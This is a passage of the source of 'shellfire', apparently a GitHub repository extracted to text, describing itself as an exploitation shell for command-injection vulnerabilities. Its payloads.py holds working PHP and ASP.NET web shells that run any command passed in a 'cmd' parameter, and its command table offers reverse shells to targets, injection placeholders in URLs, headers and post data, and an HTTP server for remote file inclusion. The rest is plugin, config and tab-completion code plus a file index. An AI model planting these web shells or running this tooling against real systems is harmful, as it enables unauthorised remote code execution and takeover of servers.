      "headers default   - sets the headers back to the shellfire defaults.\n",
      "headers <string>  - upserts the headers from your string into the header config.\n",
      "                    strings can be json or url encoded.\n",
      "                    use '{}' to specify where command injection goes.\n",
    ],
  },
  "help": {
    "func": cmd_help,
    "description": "",
    "help_text": [
      "help - prints all help topics.\n"
    ],
  },
  "history": {
    "func": cmd_history,
    "description": "",
    "help_text": [
      "history clear  - erase history.\n",
      "history nosave - do not write history file.\n",
      "history save   - write history file on exit.\n",
    ],
  },
  "http": {
    "func": cmd_http,
    "description": "",
    "help_text": [
      "http                - show status of HTTP server\n",
      "http payload [type] - set the payload to be used for RFI.\n",
      "                      supported payload types:\n",
      "                        aspnet\n",
      "                        php\n",
      "http start [port]   - start HTTP server.\n",
      "http stop           - stop HTTP server.\n",
    ],
  },
  "marker": {
    "func": cmd_marker,
    "description": "",
    "help_text": [
      "marker              - show the current payload output marker.\n",
      "marker set <string> - set the payload output marker to string.\n",
      "marker out <number> - the output indices to display after splitting on\n",
      "                      our marker.\n",
    ],
  },
  "method": {
    "func": cmd_method,
    "description": "",
    "help_text": [
      "method      - show current HTTP method.\n",
      "method get  - set HTTP method to GET.\n",
      "method post - set HTTP method to POST.\n",
      "method form - set HTTP method to POST using multipart form data.\n",
    ],
  },
  "phpinfo": {
    "func": cmd_phpinfo,
    "description": "",
    "help_text": [
      "phpinfo - executes the '_show_phpinfo' command via the PHP payload.\n"
    ],
  },
  "plugins": {
    "func": cmd_plugins,
    "description": "",
    "help_text": [
      "plugins - list all available plugins.\n"
    ],
  },
  "post": {
    "func": cmd_post,
    "description": "",
    "help_text": [
      "post <string> - a string representing post data you wish to send.\n",
      "                strings can be json or url encoded.\n",
      "                use '{}' to specify where command injection goes.\n",
    ]
  },
  "referer": {
    "func": cmd_referer,
    "description": "",
    "help_text": [
      "referer          - show the HTTP referer string.\n",
      "referer <string> - set the value for HTTP referer.\n",
    ],
  },
  "revshell": {
    "func": cmd_revshell,
    "description": "",
    "help_text": [
      "shell <ip_address> <port> - initiate reverse shell to target.\n",
    ]
  },
  "shell": {
    "func": cmd_shell,
    "description": "",
    "help_text": [
      "shell - enter exploitation shell. commands entered here are processed and sent as\n",
      "        payloads to your target.\n"
    ]
  },
  "url": {
    "func": cmd_url,
    "description": "",
    "help_text": [
      "url <string> - set the target URL to string.\n",
      "               use '{}' to specify where command injection goes.\n",
    ],
  },
  "useragent": {
    "func": cmd_useragent,
    "description": "",
    "help_text": [
      "useragent          - show the User-Agent string.\n",
      "useragent <string> - set the value for User-Agent.\n",
    ],
  },
  "quit": {
    "func": cmd_exit,
    "description": "Alias of \".exit\"",
    "help_text": [
      "quit - exits this program.\n"
    ],
  },
}


================================================
FILE: shellfire/config.py
================================================
import os
import json
import pkg_resources
import requests
from tokenize import Number
from typing import List
from enum import Enum

## define application modes
class Mode(Enum):
  config = 1
  shell = 2

## define our shell prompts
prompt = {Mode.config: "config", Mode.shell: "shell"}

## session configurable options defined here
class Configs():
  auth: str
  auth_user: str
  auth_pass: str
  cookies: object
  default_headers: object
  encode_chain: List[any]
  files: dict
  fuzzfile: str
  headers: object
  history_file: str
  http_port: Number
  marker: str
  marker_idx: List[int]
  method: str
  payload: str
  payload_type: str
  post_data: object
  url: str
  version: str

  def __init__(self):
    self.version = pkg_resources.require("shellfire")[0].version
    self.url = "http://www.example.com?"
    self.history_file = os.path.abspath(
        os.path.expanduser("~/.shellfire_history"))
    self.post_data = {}
    self.cookies = {}
    self.headers = {
        'User-Agent': '',
        'Referer': ''
    }

    """The default header set for outgoing requests.
    """
    self.default_headers = {
        'User-Agent': ''
    }

    self.method = "get"

    self.auth = None
    self.auth_user = None
    self.auth_pass = None
    self.payload = ""
    self.payload_type = "PHP"
    self.encode_chain = []
    self.encode = None
    self.files = {}
    self.fuzzfile = "default"
    self.marker = "--9453901401ed3551bc94fcedde066e5fa5b81b7ff878c18c957655206fd538da--"
    self.marker_idx = [1]
    self.http_port = 8888

  def dump(self):
    return json.dumps(self.__dict__)

  def load(self, json_cfg):
    self.__dict__.update(json_cfg)
    return


## instantiate our config class
cfg = Configs()


## store our ephemeral state here
class state():
  args = None
  http_running = False
  revshell_running = False
  userinput = None
  input_offset = 0
  exec_cmd = True
  requests = requests.Session()
  mode = Mode.config


================================================
FILE: shellfire/default_plugins/__init__.py
================================================


================================================
FILE: shellfire/default_plugins/default.py
================================================
import base64 as b64
import urllib.parse

from shellfire.plugin_collection import Plugin

class Base64(Plugin):
    """Base64 encode your input
    """
    def __init__(self):
        super().__init__()
        self.description = 'Base64'

    def run(self, argument):
        return b64.b64encode(str(argument).encode()).decode()

class urlencode(Plugin):
    """URL encode your input
    """
    def __init__(self):
        super().__init__()
        self.description = 'URL encode'

    def run(self, argument):
        return urllib.parse.quote(argument)


================================================
FILE: shellfire/payloads.py
================================================

def get_aspnet_payload(marker) -> str:
  return f"""\
{marker}<%
Dim objShell = Server.CreateObject("WSCRIPT.SHELL")
Dim command = Request.QueryString("cmd")

Dim comspec = objShell.ExpandEnvironmentStrings("%comspec%")

Dim objExec = objShell.Exec(comspec & " /c " & command)
Dim output = objExec.StdOut.ReadAll()
%><%= output %>{marker}
"""

def get_php_payload(marker) -> str:
  return f"""\
{marker}<?php
if ($_GET['cmd'] == '_show_phpinfo') {{
  phpinfo();
}} else if ($_GET['cmd'] == '_show_cookie') {{
  var_dump($_COOKIE);
}} else if ($_GET['cmd'] == '_show_get') {{
  var_dump($_GET);
}} else if ($_GET['cmd'] == '_show_post') {{
  var_dump($_POST);
}} else if ($_GET['cmd'] == '_show_server') {{
  var_dump($_SERVER);
}} else {{
  system($_GET['cmd']) || print `{{$_GET['cmd']}}`;
}}
?>{marker}
"""

================================================
FILE: shellfire/plugin_collection.py
================================================
import inspect
import os
import pkgutil
import sys


class Plugin(object):
  """Base class that each plugin must inherit from. within this class
  you must define the methods that all of your plugins must implement
  """

  def __init__(self):
    self.description = 'UNKNOWN'

  def run(self, argument):
    """The method that we expect all plugins to implement. This is the
    method that our framework will call
    """
    raise NotImplementedError


class PluginCollection(object):
  """Upon creation, this class will read the plugins package for modules
  that contain a class definition that is inheriting from the Plugin class
  """

  debug = False

  def __init__(self, plugin_package, debug=False):
    """Constructor that initiates the reading of all available plugins
    when an instance of the PluginCollection object is created
    """
    if debug:
      self.debug = True
    self.plugin_package = plugin_package
    self.reload_plugins()

  def reload_plugins(self):
    """Reset the list of all plugins and initiate the walk over the main
    provided plugin package to load all available plugins
    """
    self.plugins = {}
    self.seen_paths = []
    if type(self.plugin_package) == list:
      for pkg in self.plugin_package:
        if self.debug:
          print()
          print(f'Looking for plugins under package {pkg}')
        self.walk_package(pkg)
    else:
      if self.debug:
        print()
        print(f'Looking for plugins under package {self.plugin_package}')
      self.walk_package(self.plugin_package)

  def apply(self, name, argument):
    """Apply a plugin on the argument supplied to this function
    """
    try:
      plugin = self.plugins[name]
      argument = plugin.run(argument)
      if self.debug is True:
        print(f' -> {plugin.description} : {argument}')
    except Exception as e:
      print(f"Error in {plugin.description}: {e}")
    return argument

  def apply_all(self, argument):
    """Apply all of the plugins on the argument supplied to this function
    """
    print()
    print(f'Applying all plugins on value {argument}:')
    for plugin in self.plugins:
      try:
        argument = plugin.run(argument)
        if self.debug:
          print(f' -> {plugin.description} : {argument}')
      except Exception as e:
        print(f"Error in {plugin.description}: {e}")
    return argument

  def walk_package(self, package):
    """Recursively walk the supplied package to retrieve all plugins
    """
    try:
      imported_package = __import__(package, fromlist=['n/a'])
    except Exception as e:
      if package != "plugins":
        print(f"Error: {e}")
      return

    for _, pluginname, ispkg in pkgutil.iter_modules(
        imported_package.__path__,
        imported_package.__name__ + '.'):
      if not ispkg:
        plugin_module = __import__(pluginname, fromlist=['n/a'])
        clsmembers = inspect.getmembers(plugin_module, inspect.isclass)
        for (_, c) in clsmembers:
          ## Only add classes that are a sub class of Plugin, NOT Plugin itself
          if issubclass(c, Plugin) & (c is not Plugin):
            if self.debug:
              print(f'  Found plugin: {c.__name__.lower()}')
            ## make sure the key is the lowercase version  of the class name
            self.plugins[c.__name__.lower()] = c()

    ## Now that we have looked at all the modules in the current package,
    ## start looking recursively for additional modules in sub packages.
    all_current_paths = []
    if isinstance(imported_package.__path__, str):
      all_current_paths.append(imported_package.__path__)
    else:
      all_current_paths.extend([x for x in imported_package.__path__])

    for pkg_path in all_current_paths:
      if pkg_path not in self.seen_paths:
        self.seen_paths.append(pkg_path)

        ## Only proceed if pkg_path is a real directory
        if os.path.isdir(pkg_path):
          ## Get all sub directory of the current package path directory
          child_pkgs = [p for p in os.listdir(pkg_path)
                        if os.path.isdir(os.path.join(pkg_path, p))]

          ## For each sub directory, apply the walk_package method recursively
          for child_pkg in child_pkgs:
            self.walk_package(package + '.' + child_pkg)
    return


## set the search path for custom plugins
sys.path.append(os.path.expanduser("~/.config/shellfire"))

## initialize our  available plugins
plugins = PluginCollection(['shellfire.default_plugins', 'plugins'], debug=False)


================================================
FILE: shellfire/tab_completion.py
================================================
#!/usr/bin/env python3
"""
Tab completion for ShellFire CLI
Provides command and subcommand completion for the ShellFire exploitation shell.
"""

import os
import readline
import glob
from typing import List, Optional


class ShellfireCompleter:
    """Tab completion for ShellFire commands and subcommands."""
    
    def __init__(self):
        """Initialize the completer with command lists."""
        # Import the actual command list from shellfire
        try:
            from shellfire.commands import command_list
            self.config_commands = list(command_list.keys())
        except ImportError:
            # Fallback to hardcoded list if import fails
            self.config_commands = [
                'help', 'exit', 'config', 'shell', 'auth', 'cookies', 'encode',
                'files', 'find', 'fuzz', 'headers', 'history', 'http', 'marker',
                'method', 'phpinfo', 'plugins', 'post', 'referer', 'revshell',
                'url', 'useragent', 'quit'
            ]
        
        # Subcommands for config command
        self.config_subcommands = [
            'load', 'save', 'show', 'clear', 'reset'
        ]
        
        # Subcommands for plugin command
        self.plugin_subcommands = [
            'list', 'enable', 'disable', 'reload', 'info'
        ]
        
        # Common file extensions for payloads
        self.payload_extensions = ['.php', '.asp', '.aspx', '.jsp', '.py', '.sh']
        
        # Common HTTP headers
        self.http_headers = [
            'User-Agent', 'Accept', 'Accept-Language', 'Accept-Encoding',
            'Content-Type', 'Content-Length', 'Authorization', 'Cookie',
            'Referer', 'X-Forwarded-For', 'X-Requested-With'
        ]
        
        # Common user agents
        self.user_agents = [
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',
            'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
            'curl/7.68.0', 'wget/1.20.3'
        ]
        
        # Common URL schemes and patterns
        self.url_patterns = [
            'http://', 'https://', 'ftp://', 'file://'
        ]
    
    def complete(self, text: str, state: int) -> Optional[str]:
        """
        Main completion function called by readline.
        
        Args:
            text: The text to complete
            state: The state of completion (0 for first call, 1+ for subsequent)
            
        Returns:
            The completion string or None if no more completions
        """
        if state == 0:
            # First call - build the list of completions
            # Get the full line buffer to understand context
            full_line = readline.get_line_buffer()
            self.matches = self._get_completions(full_line)
        
        # Return the next match or None if no more
        try:
            return self.matches[state]
        except IndexError:
            return None
    
    def _get_completions(self, text: str) -> List[str]:
        """
        Get all possible completions for the given text.
        
        Args:
            text: The text to complete
            
        Returns:
            List of possible completions
        """
        if not text:
            return []
        
        # Check if text ends with space (indicating we want subcommand completion)
        ends_with_space = text.endswith(' ')
        
        # Split the input to understand the context
        parts = text.split()
        
        if len(parts) == 1 and not ends_with_space:
            # First word - complete main commands
            return [cmd for cmd in self.config_commands if cmd.startswith(text)]
        
        elif len(parts) >= 1 and (len(parts) >= 2 or ends_with_space):
            # Second or later word - complete subcommands or arguments
            command = parts[0]
            current_word = parts[-1] if len(parts) > 1 else ""
            
            # If we have a space at the end or current_word is empty, show all subcommands
            if ends_with_space or not current_word:
                if command == 'config':
                    return self._complete_config_subcommand('')
                elif command == 'http':
                    return self._complete_http_subcommand('')
                elif command == 'method':
                    return self._complete_method_subcommand('')
                elif command == 'marker':
                    return self._complete_marker_subcommand('')
                elif command == 'history':
                    return self._complete_history_subcommand('')
                elif command == 'fuzz':
                    return self._complete_fuzz_subcommand('')
                elif command == 'find':
                    return self._complete_find_subcommand('')
                elif command == 'help':
                    return self._complete_help_subcommand('')
                else:
                    return []
            
            # Otherwise complete based on what's typed
            if command == 'config':
                return self._complete_config_subcommand(current_word)
            elif command == 'http':
                return self._complete_http_subcommand(current_word)
            elif command == 'method':
                return self._complete_method_subcommand(current_word)
            elif command == 'marker':
                return self._complete_marker_subcommand(current_word)
            elif command == 'history':
                return self._complete_history_subcommand(current_word)
            elif command == 'fuzz':
                return self._complete_fuzz_subcommand(current_word)
            elif command == 'find':
                return self._complete_find_subcommand(current_word)
            elif command == 'help':
                return self._complete_help_subcommand(current_word)
            elif command in ['load', 'save']:
                return self._complete_file_path(current_word)
            else:
                # For other commands, try file completion
                return self._complete_file_path(current_word)
        
        return []
    
    def _complete_config_subcommand(self, text: str) -> List[str]:
        """Complete config subcommands."""
        config_subcommands = ['save', 'load']
        return [cmd for cmd in config_subcommands if cmd.startswith(text)]
    
    def _complete_http_subcommand(self, text: str) -> List[str]:
        """Complete http subcommands."""
        http_subcommands = ['payload', 'start', 'stop']
        return [cmd for cmd in http_subcommands if cmd.startswith(text)]
    
    def _complete_method_subcommand(self, text: str) -> List[str]:
        """Complete method subcommands."""
        method_subcommands = ['get', 'post', 'form']
        return [cmd for cmd in method_subcommands if cmd.startswith(text)]
    
    def _complete_marker_subcommand(self, text: str) -> List[str]:
        """Complete marker subcommands."""
        marker_subcommands = ['set', 'out']
        return [cmd for cmd in marker_subcommands if cmd.startswith(text)]
    
    def _complete_history_subcommand(self, text: str) -> List[str]:
        """Complete history subcommands."""
        history_subcommands = ['clear', 'nosave', 'save']
        return [cmd for cmd in history_subcommands if cmd.startswith(text)]
    
    def _complete_fuzz_subcommand(self, text: str) -> List[str]:
        """Complete fuzz subcommands."""
        fuzz_subcommands = ['start']
        return [cmd for cmd in fuzz_subcommands if cmd.startswith(text)]
    
    def _complete_find_subcommand(self, text: str) -> List[str]:
        """Complete find subcommands."""
        find_subcommands = ['setuid', 'setgid']
        return [cmd for cmd in find_subcommands if cmd.startswith(text)]
    
    def _complete_help_subcommand(self, text: str) -> List[str]:
        """Complete help subcommands (all available commands)."""
        # Use the same command list as main commands
        return [cmd for cmd in self.config_commands if cmd.startswith(text)]
    
    def _complete_file_path(self, text: str) -> List[str]:
        """Complete file paths with glob patterns."""
        if not text:
            return ['.', '..']
        
        # Handle tilde expansion
        if text.startswith('~'):
            text = os.path.expanduser(text)
        
        # Get the directory and filename parts
        dirname = os.path.dirname(text) or '.'
        basename = os.path.basename(text)
        
        try:
            # List files in the directory
            if os.path.exists(dirname):
                files = os.listdir(dirname)
                matches = []
                
                for file in files:
                    if file.startswith(basename):
                        full_path = os.path.join(dirname, file)
                        if os.path.isdir(full_path):
                            matches.append(full_path + '/')
                        else:
                            matches.append(full_path)
                
                return matches
        except (OSError, PermissionError):
            pass
        
        return []
    
    def _complete_http_header(self, text: str) -> List[str]:
        """Complete HTTP header names."""
        return [header for header in self.http_headers if header.lower().startswith(text.lower())]
    
    def _complete_user_agent(self, text: str) -> List[str]:
        """Complete user agent strings."""
        return [ua for ua in self.user_agents if ua.lower().startswith(text.lower())]
    
    def _complete_url(self, text: str) -> List[str]:
        """Complete URL patterns."""
        return [url for url in self.url_patterns if url.startswith(text)]


def setup_tab_completion():
    """Setup tab completion for the current session."""
    try:
        completer = ShellfireCompleter()
        readline.set_completer(completer.complete)
        
        # Set up tab binding for macOS (libedit) vs GNU readline
        import sys
        if sys.platform == 'darwin':
            # macOS uses libedit which has different binding syntax
            readline.parse_and_bind('bind ^I rl_complete')
        else:
            # GNU readline
            readline.parse_and_bind('tab: complete')
        
        return True
    except Exception as e:
        print(f"[DEBUG] Tab completion setup failed: {e}")
        return False


if __name__ == "__main__":
    # Test the completer
    completer = ShellfireCompleter()
    test_inputs = ['au', 'co', 'pl', 'se']
    
    for test_input in test_inputs:
        completions = completer._get_completions(test_input)
        print(f"'{test_input}' -> {completions}") 
Download .txt
gitextract_hi56ynpr/

├── .gitignore
├── LICENSE
├── README.md
├── requirements.txt
├── setup.py
└── shellfire/
    ├── __init__.py
    ├── commands.py
    ├── config.py
    ├── default_plugins/
    │   ├── __init__.py
    │   └── default.py
    ├── payloads.py
    ├── plugin_collection.py
    └── tab_completion.py
Download .txt
SYMBOL INDEX (74 symbols across 7 files)

FILE: shellfire/__init__.py
  function draw_prompt (line 55) | def draw_prompt():
  function sigint_handler (line 59) | def sigint_handler(signum, frame):
  function cli (line 67) | def cli():

FILE: shellfire/commands.py
  function payload_aspnet (line 21) | def payload_aspnet():
  function payload_php (line 27) | def payload_php():
  function payload_fuzzfile (line 33) | def payload_fuzzfile():
  function show_help (line 75) | def show_help(cmd=None):
  function http_server (line 89) | def http_server(port):
  function rev_shell (line 119) | def rev_shell(addr, port):
  function parse_to_dict (line 156) | def parse_to_dict(data):
  function cmd_auth (line 180) | def cmd_auth(cmd):
  function cmd_config (line 190) | def cmd_config(cmd):
  function cmd_cookies (line 221) | def cmd_cookies(cmd):
  function cmd_encode (line 236) | def cmd_encode(cmd):
  function cmd_exit (line 261) | def cmd_exit(cmd):
  function cmd_files (line 272) | def cmd_files(cmd):
  function cmd_find (line 298) | def cmd_find(cmd):
  function cmd_fuzz (line 314) | def cmd_fuzz(cmd):
  function cmd_headers (line 332) | def cmd_headers(cmd):
  function cmd_help (line 365) | def cmd_help(cmd):
  function cmd_history (line 373) | def cmd_history(cmd):
  function cmd_http (line 394) | def cmd_http(cmd):
  function cmd_marker (line 435) | def cmd_marker(cmd):
  function cmd_method (line 467) | def cmd_method(cmd):
  function cmd_phpinfo (line 484) | def cmd_phpinfo(cmd):
  function cmd_plugins (line 491) | def cmd_plugins(cmd):
  function cmd_post (line 497) | def cmd_post(cmd):
  function cmd_referer (line 511) | def cmd_referer(cmd):
  function cmd_revshell (line 520) | def cmd_revshell(cmd):
  function cmd_shell (line 542) | def cmd_shell(cmd):
  function cmd_url (line 548) | def cmd_url(cmd):
  function cmd_useragent (line 556) | def cmd_useragent(cmd):
  function expand_payload (line 563) | def expand_payload(my_list, data):
  function send_payload (line 583) | def send_payload():

FILE: shellfire/config.py
  class Mode (line 10) | class Mode(Enum):
  class Configs (line 18) | class Configs():
    method __init__ (line 39) | def __init__(self):
    method dump (line 72) | def dump(self):
    method load (line 75) | def load(self, json_cfg):
  class state (line 85) | class state():

FILE: shellfire/default_plugins/default.py
  class Base64 (line 6) | class Base64(Plugin):
    method __init__ (line 9) | def __init__(self):
    method run (line 13) | def run(self, argument):
  class urlencode (line 16) | class urlencode(Plugin):
    method __init__ (line 19) | def __init__(self):
    method run (line 23) | def run(self, argument):

FILE: shellfire/payloads.py
  function get_aspnet_payload (line 2) | def get_aspnet_payload(marker) -> str:
  function get_php_payload (line 15) | def get_php_payload(marker) -> str:

FILE: shellfire/plugin_collection.py
  class Plugin (line 7) | class Plugin(object):
    method __init__ (line 12) | def __init__(self):
    method run (line 15) | def run(self, argument):
  class PluginCollection (line 22) | class PluginCollection(object):
    method __init__ (line 29) | def __init__(self, plugin_package, debug=False):
    method reload_plugins (line 38) | def reload_plugins(self):
    method apply (line 56) | def apply(self, name, argument):
    method apply_all (line 68) | def apply_all(self, argument):
    method walk_package (line 82) | def walk_package(self, package):

FILE: shellfire/tab_completion.py
  class ShellfireCompleter (line 13) | class ShellfireCompleter:
    method __init__ (line 16) | def __init__(self):
    method complete (line 64) | def complete(self, text: str, state: int) -> Optional[str]:
    method _get_completions (line 87) | def _get_completions(self, text: str) -> List[str]:
    method _complete_config_subcommand (line 161) | def _complete_config_subcommand(self, text: str) -> List[str]:
    method _complete_http_subcommand (line 166) | def _complete_http_subcommand(self, text: str) -> List[str]:
    method _complete_method_subcommand (line 171) | def _complete_method_subcommand(self, text: str) -> List[str]:
    method _complete_marker_subcommand (line 176) | def _complete_marker_subcommand(self, text: str) -> List[str]:
    method _complete_history_subcommand (line 181) | def _complete_history_subcommand(self, text: str) -> List[str]:
    method _complete_fuzz_subcommand (line 186) | def _complete_fuzz_subcommand(self, text: str) -> List[str]:
    method _complete_find_subcommand (line 191) | def _complete_find_subcommand(self, text: str) -> List[str]:
    method _complete_help_subcommand (line 196) | def _complete_help_subcommand(self, text: str) -> List[str]:
    method _complete_file_path (line 201) | def _complete_file_path(self, text: str) -> List[str]:
    method _complete_http_header (line 234) | def _complete_http_header(self, text: str) -> List[str]:
    method _complete_user_agent (line 238) | def _complete_user_agent(self, text: str) -> List[str]:
    method _complete_url (line 242) | def _complete_url(self, text: str) -> List[str]:
  function setup_tab_completion (line 247) | def setup_tab_completion():
Condensed preview — 13 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (60K chars).
[
  {
    "path": ".gitignore",
    "chars": 112,
    "preview": ".DS_Store\n.env\n__pycache__\n**/*.pyc\nbin\ninclude\nlib\npyvenv.cfg\n.flake8\nshellfire.egg-info\ndist\n.vscode\nMakefile\n"
  },
  {
    "path": "LICENSE",
    "chars": 1305,
    "preview": "BSD 2-Clause License\n\nCopyright (c) 2016, \nAll rights reserved.\n\nRedistribution and use in source and binary forms, with"
  },
  {
    "path": "README.md",
    "chars": 3120,
    "preview": "# shellfire\n\n_shellfire_ is an exploitation shell which focuses on exploiting command injection vulnerabilities. This ca"
  },
  {
    "path": "requirements.txt",
    "chars": 9,
    "preview": "requests\n"
  },
  {
    "path": "setup.py",
    "chars": 803,
    "preview": "from setuptools import setup, find_packages\n\nwith open(\"README.md\", \"r\") as fh:\n    long_description = fh.read()\n\nsetup("
  },
  {
    "path": "shellfire/__init__.py",
    "chars": 5951,
    "preview": "#!/bin/env python3\n# Thanks to Offensive-Security for inspiring this!\n# Written by unix-ninja\n# Aug 2016\n\nimport argpars"
  },
  {
    "path": "shellfire/commands.py",
    "chars": 26276,
    "preview": "import copy\nimport json\nimport os\nimport readline\nimport requests\nimport select\nimport socket\nimport sys\nimport threadin"
  },
  {
    "path": "shellfire/config.py",
    "chars": 1950,
    "preview": "import os\nimport json\nimport pkg_resources\nimport requests\nfrom tokenize import Number\nfrom typing import List\nfrom enum"
  },
  {
    "path": "shellfire/default_plugins/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "shellfire/default_plugins/default.py",
    "chars": 559,
    "preview": "import base64 as b64\nimport urllib.parse\n\nfrom shellfire.plugin_collection import Plugin\n\nclass Base64(Plugin):\n    \"\"\"B"
  },
  {
    "path": "shellfire/payloads.py",
    "chars": 809,
    "preview": "\ndef get_aspnet_payload(marker) -> str:\n  return f\"\"\"\\\n{marker}<%\nDim objShell = Server.CreateObject(\"WSCRIPT.SHELL\")\nDi"
  },
  {
    "path": "shellfire/plugin_collection.py",
    "chars": 4522,
    "preview": "import inspect\nimport os\nimport pkgutil\nimport sys\n\n\nclass Plugin(object):\n  \"\"\"Base class that each plugin must inherit"
  },
  {
    "path": "shellfire/tab_completion.py",
    "chars": 10790,
    "preview": "#!/usr/bin/env python3\n\"\"\"\nTab completion for ShellFire CLI\nProvides command and subcommand completion for the ShellFire"
  }
]

About this extraction

This page contains the full source code of the unix-ninja/shellfire GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 13 files (54.9 KB), approximately 14.1k tokens, and a symbol index with 74 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!